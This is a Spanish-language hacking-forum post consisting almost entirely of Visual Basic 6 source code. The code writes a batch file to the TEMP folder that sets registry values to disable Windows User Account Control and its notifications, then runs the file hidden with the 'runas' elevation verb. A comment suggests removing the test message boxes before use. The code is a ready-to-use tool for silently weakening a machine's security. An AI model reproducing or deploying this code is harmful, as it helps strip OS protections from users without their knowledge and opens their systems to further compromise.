Foro de elhacker.net

Option Explicit

Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long

Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long

Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long

Const OPEN_ALWAYS = 4
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_WRITE = &H2

Const FILE_ATTRIBUTE_NORMAL = &H80

Private Declare Function ShellExecuteEx Lib "shell32.dll" ( _
ByRef lpExecInfo As SHELLEXECUTEINFOA) As Long

Private Type SHELLEXECUTEINFOA
cbSize As Long
fMask As Long
hwnd As Long
lpVerb As String
lpFile As String
lpParameters As String
lpDirectory As String
nShow As Long
hInstApp As Long
lpIDList As Long
lpClass As String
hkeyClass As Long
dwHotKey As Long
hIcon As Long
hProcess As Long
End Type

Const SW_NORMAL = 1
Const SW_HIDE = 0

Private Sub Form_Load()
On Error Resume Next
Dim strPath As String
Dim strBatCode As String

strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
"Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"


Write2File Environ$("TEMP") & "\temp.bat", strBatCode
strPath = Environ$("TEMP") & "\temp.bat"


If Elevate(strPath) Then
MsgBox "! Elevación de Privilegios Exitosa ¡ A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb" ' si lo usan quiten estos mensajes solo los coloque para probar la función
Else
MsgBox "No se pudo elevar privilegios A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb"
End If

End

End Sub
Private Function Elevate(strPath As String) As Boolean


Dim ExInfo As SHELLEXECUTEINFOA
Dim lnRet As Long

With ExInfo
.cbSize = Len(ExInfo)
.fMask = 0&
.hwnd = hwnd
.lpVerb = "runas"
.lpFile = strPath
.lpParameters = vbNullChar
.lpDirectory = vbNullChar
.nShow = SW_HIDE
End With

On Error Resume Next

lnRet = ShellExecuteEx(ExInfo)

If lnRet <> 1 Then
Elevate = False
Exit Function
End If

Elevate = True

End Function
Private Sub Write2File(Filename As String, Buffer As String)
On Error Resume Next
Dim hFile As Long
Dim hWrite As Long

hFile = CreateFile(Filename, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
If hFile <> 0 Then
hWrite = WriteFile(hFile, Buffer, Len(Buffer), 0, 0)
End If
CloseHandle (hFile)
End Sub

http://www.novell.com/coolsolutions/tools/18193.html